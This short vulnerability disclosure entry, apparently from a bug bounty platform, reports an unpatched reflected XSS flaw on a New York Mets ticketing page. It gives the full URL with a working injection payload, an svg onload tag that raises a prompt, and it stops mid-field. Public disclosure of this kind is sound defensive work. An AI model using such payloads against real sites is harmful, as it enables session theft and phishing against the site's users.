newyork.mets.mlb.com XSS vulnerability

Vulnerable URL: http://newyork.mets.mlb.com/nym/ticketing/edu.jsp?day=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...